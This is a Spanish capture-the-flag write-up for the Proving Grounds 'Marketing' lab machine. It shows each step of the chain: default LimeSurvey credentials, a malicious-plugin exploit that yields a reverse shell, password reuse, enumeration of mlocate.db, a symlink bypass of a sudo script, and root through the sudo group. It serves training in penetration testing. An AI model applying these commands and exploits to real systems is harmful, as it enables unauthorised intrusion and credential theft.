the_open_door
café
ESEN

Marketing

Proving Grounds PracticeDifícilLinux192.168.111.225

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#limesurvey#default-credentials#plugin-rce#password-reuse#mlocate#symlink#sudo-script#sudo-group#oscp
TL;DR. El código fuente de Marketing delata un subdominio, customers-survey.marketing.pg, que sirve LimeSurvey. Entramos con credenciales por defecto (admin/password) y subimos un plugin malicioso para RCE como www-data (RCE por plugin de LimeSurvey). El config.php reutiliza una contraseña que sirve para t.miller (reutilización de credenciales). Desde ahí, leemos la base de datos de mlocate (pertenecemos al grupo mlocate) para descubrir un fichero de credenciales privado de m.sander (enumeración de mlocate.db), y un script sync.sh ejecutable por sudo como m.sander nos lo revela vía symlink (abuso de symlink con sudo). Con la contraseña de m.sander, que está en el grupo sudo, sudo su nos da root (abuso del grupo sudo).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos:

ping -c 1 192.168.111.225
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.111.225
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.111.225 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: marketing.pg - Digital Marketing for you!

HTTP - TCP 80

dirsearch sobre la raíz solo encuentra /assets, /old y /vendor, poco aprovechable. La pista está en el código fuente de la página: una referencia a un subdominio, customers-survey.marketing.pg.

Código fuente de la web revelando el subdominio customers-survey.marketing.pg

El servidor usa virtual hosting por nombre, así que lo añadimos a /etc/hosts:

echo "192.168.111.225 customers-survey.marketing.pg" | sudo tee -a /etc/hosts

Subdominio: LimeSurvey

Enumerando el subdominio aparece la estructura típica de LimeSurvey (/admin, /plugins, /installer, /upload, composer.json...). LimeSurvey es una aplicación PHP de encuestas. La ruta /index.php/admin/authentication/sa/login sirve el panel de administración:

Formulario de login de LimeSurvey en customers-survey.marketing.pg

Antes de fuzzear nada, la primera prueba contra cualquier producto conocido son sus credenciales de fábrica. Una búsqueda de "limesurvey default credentials" lleva al propio código fuente del proyecto:

Búsqueda "limesurvey default credentials" que apunta a config-defaults.php en GitHub

El fichero application/config/config-defaults.php documenta el usuario y la contraseña por defecto de la instalación:

config-defaults.php: defaultuser = 'admin' y defaultpass = 'password'

$config['defaultuser'] = 'admin';
$config['defaultpass'] = 'password';

Introducimos admin / password en el formulario:

Login de LimeSurvey con admin / password

Y entramos directos al panel de administración: las credenciales de fábrica seguían activas.

Panel de administración de LimeSurvey tras el login como admin

Explotación

LimeSurvey: RCE por subida de plugin

El pie de la cuenta ("My Account") delata la versión exacta, LimeSurvey Community Edition 5.3.24:

Footer del panel: LimeSurvey Community Edition Version 5.3.24

searchsploit confirma que esa rama arrastra una RCE conocida:

searchsploit limesurvey mostrando la entrada de RCE para la versión instalada

LimeSurvey permite a un administrador instalar plugins, y un plugin es código PHP que el servidor ejecuta. Empaquetando una webshell como plugin y subiéndola por el panel obtenemos ejecución (RCE por plugin de LimeSurvey). Buscando el exploit por GitHub aparece el de TheRedP4nther, que automatiza el empaquetado, la subida y la activación:

Búsqueda "limesurvey git exploit" que apunta al repo LimeSurvey 6.6.4 Authenticated RCE

Lo clonamos e instalamos sus dependencias. El ls del repo revela su estructura (config.xml + revshell.php son el plugin malicioso que se empaqueta y sube):

git clone https://github.com/TheRedP4nther/limesurvey-6.6.4-authenticated-rce
cd limesurvey-6.6.4-authenticated-rce
pip3 install -r requirements.txt --break-system-packages
python3 limesurvey_rce.py -t http://customers-survey.marketing.pg -u admin -p password

git clone del exploit, ls (config.xml, limesurvey_rce.py, revshell.php) y pip3 install

El exploit de LimeSurvey sube el plugin y devuelve ejecución de comandos como www-data

[PLUGIN]:
[+] Uploading and installing the plugin ...
[+] Plugin uploaded and installed succesfully.
[+] Activating the plugin ...

[REVERSE SHELL]:
[+] Trying to execute the Reverse Shell
[+] Reverse shell executed successfully, check your listener :D!

www-data@marketing:/var/www/LimeSurvey/upload/plugins/evil$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

El exploit sube y activa el plugin, dispara la reverse shell y el id confirma ejecución como www-data.

Post-explotación

Pivote a t.miller: reutilización de contraseña

LimeSurvey guarda las credenciales de su base de datos en config.php. Las buscamos:

find / -name config.php 2>/dev/null
cat /var/www/LimeSurvey/application/config/config.php | grep -E 'pass|username'

config.php de LimeSurvey con username limesurvey_user y password EzPwz2022_dev1$$23!!

'username' => 'limesurvey_user',
'password' => 'EzPwz2022_dev1$$23!!',

El /etc/passwd muestra dos usuarios con shell: t.miller y m.sander. Probamos la contraseña de la base de datos contra ellos y funciona para t.miller (reutilización de credenciales):

su t.miller

su t.miller con la contraseña reutilizada de config.php; whoami devuelve t.miller

www-data@marketing:/$ su t.miller
Password:
t.miller@marketing:/$ whoami
t.miller

La contraseña de la base de datos abre la cuenta: ya somos t.miller.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como t.miller en marketing

ec2a0dbcf301413f33969f59cfce7101
t.miller

sudo -l revela que t.miller puede ejecutar un script como m.sander:

sudo -l

sudo -l: t.miller may run (m.sander) /usr/bin/sync.sh

User t.miller may run the following commands on marketing:
    (m.sander) /usr/bin/sync.sh

Antes de tocar ese script, conviene saber qué hay en el home de m.sander. t.miller pertenece al grupo mlocate, lo que le da acceso de lectura a la base de datos de locate: un índice de todas las rutas del sistema, incluidas las que no podemos listar (enumeración de mlocate.db):

id
find / -group mlocate 2>/dev/null

id muestra el grupo mlocate (119); find -group mlocate localiza /var/lib/mlocate/mlocate.db

t.miller@marketing:/$ id
uid=1000(t.miller) gid=1000(t.miller) groups=1000(t.miller),24(cdrom),46(plugdev),50(staff),100(users),119(mlocate)
t.miller@marketing:/$ find / -group mlocate 2>/dev/null
/var/lib/mlocate/mlocate.db
/usr/bin/mlocate

t.miller está en el grupo 119(mlocate), que le da lectura sobre /var/lib/mlocate/mlocate.db. Extraemos la base de datos y la pasamos por strings buscando el home de m.sander:

cat /var/lib/mlocate/mlocate.db | strings | grep '/home/m.sander/personal' -A 3 -B 3

strings de mlocate.db revela /home/m.sander/personal/creds-for-2022.txt y notes.txt

.bashrc
.profile
personal
/home/m.sander/personal
creds-for-2022.txt
notes.txt
/home/t.miller

Aparece un fichero prometedor: /home/m.sander/personal/creds-for-2022.txt. No podemos leerlo (es de m.sander), pero el script sync.sh sí corre como m.sander. Leemos su código:

cat /usr/bin/sync.sh

cat sync.sh: filtra rutas con m.sander y hace diff /home/m.sander/personal/notes.txt $note

#! /bin/bash

if [ -z $1 ]; then
    echo "error: note missing"
    exit
fi

note=$1

if [[ "$note" =~ .*m.sander.* ]]; then
    echo "error: forbidden"
    exit
fi

difference=$(diff /home/m.sander/personal/notes.txt $note)

if [[ -z $difference ]]; then
    echo "no update"
    exit
fi

echo "Difference: $difference"

cp $note /home/m.sander/personal/notes.txt

echo "[+] Updated."
#!/bin/bash
if [ -z $1 ]; then
    echo "error: note missing"
    exit
fi
note=$1
if [[ "$note" =~ .*m.sander.* ]]; then
    echo "error: forbidden"
    exit
fi
difference=$(diff /home/m.sander/personal/notes.txt $note)
if [[ -z $difference ]]; then
    echo "no update"
    exit
fi
echo "Difference: $difference"
cp $note /home/m.sander/personal/notes.txt
echo "[+] Updated."

El script hace un diff entre notes.txt y el fichero que le pasamos, y imprime la diferencia por pantalla. Es una lectura arbitraria: si el fichero que comparamos contiene texto que notes.txt no tiene, el diff lo vuelca. Pero hay un filtro: if [[ "$note" =~ .*m.sander.* ]] rechaza cualquier ruta que contenga la cadena m.sander, justo la del fichero de credenciales. Lo comprobamos: una nota normal filtra su contenido por el diff, pero pasar la ruta directa da error: forbidden:

echo 'ejemplo' > test.txt
sudo -u m.sander /usr/bin/sync.sh test.txt
sudo -u m.sander /usr/bin/sync.sh /home/personal/m.sander/creds-for-2022.txt

sync.sh con test.txt filtra el diff; con la ruta de m.sander da "error: forbidden"

Difference: 0a1
> ejemplo
[+] Updated.
...
error: forbidden

La evasión es un symlink cuyo nombre no contiene m.sander: apuntamos aaa al fichero de credenciales, el filtro de cadena no salta y el diff (ejecutado como m.sander) sigue el enlace y vuelca su contenido (abuso de symlink con sudo):

ln -sf /home/m.sander/personal/creds-for-2022.txt aaa
sudo -u m.sander /usr/bin/sync.sh aaa

El diff de sync.sh, corriendo como m.sander, revela las credenciales de slack, github y gmail de m.sander

> slack account:
> michael_sander@gmail.com - pa$$word@123$$4!!
> github:
> michael_sander@gmail.com - EzPwz2022_dev1$$23!!
> gmail:
> michael_sander@gmail.com - EzPwz2022_12345678#!

Salen tres contraseñas. Las de slack y github fallan en su m.sander (Authentication failure); la de la cuenta de gmail, EzPwz2022_12345678#!, es la que abre la sesión:

su m.sander

Escalada de privilegios

Abuso del grupo sudo

El id de m.sander muestra que pertenece al grupo 27(sudo), así que la escalada es directa (abuso del grupo sudo): con su contraseña, sudo su da una shell de root.

id
sudo su

id de m.sander (grupo 27 sudo); sudo su da uid=0(root)

m.sander@marketing:~/personal$ id
uid=1001(m.sander) gid=1001(m.sander) groups=1001(m.sander),24(cdrom),27(sudo),46(plugdev),50(staff),100(users),119(mlocate)
m.sander@marketing:~/personal$ sudo su
[sudo] password for m.sander:
root@marketing:/home/m.sander/personal# id
uid=0(root) gid=0(root) groups=0(root)

Root

cat proof.txt && whoami && ip a && hostname

proof.txt leída como root en marketing

b894ba2ab29d1c9e1af8d97f877b94c4
root

Cadena de ataque

HTTP (80)  --  código fuente -> subdominio customers-survey.marketing.pg
        │  LimeSurvey con creds por defecto (admin/password)
        │  subida de plugin malicioso -> RCE
        ▼
www-data
        │  config.php reutiliza contraseña -> su t.miller
        ▼
t.miller  (local.txt)
        │  grupo mlocate -> leer mlocate.db -> creds-for-2022.txt
        │  sudo (m.sander) sync.sh + symlink -> diff revela la contraseña
        ▼
m.sander
        │  grupo sudo -> sudo su
        ▼
root  (proof.txt)

Lecciones aprendidas

  • El código fuente esconde la superficie real. La raíz no daba nada; el subdominio que aparecía en el HTML era todo el camino. Leer el fuente y fuzzear vhosts no es opcional.
  • Las credenciales de fábrica y su reutilización encadenan. admin/password abrió LimeSurvey y la contraseña de su base de datos abrió un usuario del sistema. La misma contraseña en sitios distintos es el pegamento de la cadena.
  • Pertenecer a mlocate filtra el árbol del sistema. No leímos el fichero, pero supimos que existía y dónde. Un grupo aparentemente inocuo reveló rutas privadas.
  • Un script con sudo que sigue symlinks es lectura arbitraria. sync.sh corría como m.sander y su diff volcó un fichero que no nos pertenecía. Los scripts privilegiados deben resolver y validar las rutas, nunca seguir enlaces ciegamente.
  • El grupo sudo cierra la caja. Una vez en m.sander, sudo su fue todo. Revisar id y sudo -l en cada usuario es lo que destrabó cada salto.
Cheatsheet de comandos 15 comandos

Repaso rápido